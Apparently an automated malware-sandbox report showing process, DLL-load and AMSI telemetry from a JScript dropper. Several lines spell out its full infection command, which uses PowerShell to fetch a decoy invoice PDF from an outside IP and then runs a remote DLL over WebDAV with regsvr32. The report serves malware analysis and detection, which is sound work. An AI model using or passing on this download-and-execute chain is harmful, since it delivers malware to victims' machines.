Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1716,i,16535891303719671525,17188636642958423996,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1716,i,16535891303719671525,17188636642958423996,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6005.js.csv");ITextStream.WriteLine(" entry:7898 f:ujqeu");ITextStream.WriteLine(" exec:2 f:ujqeu");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
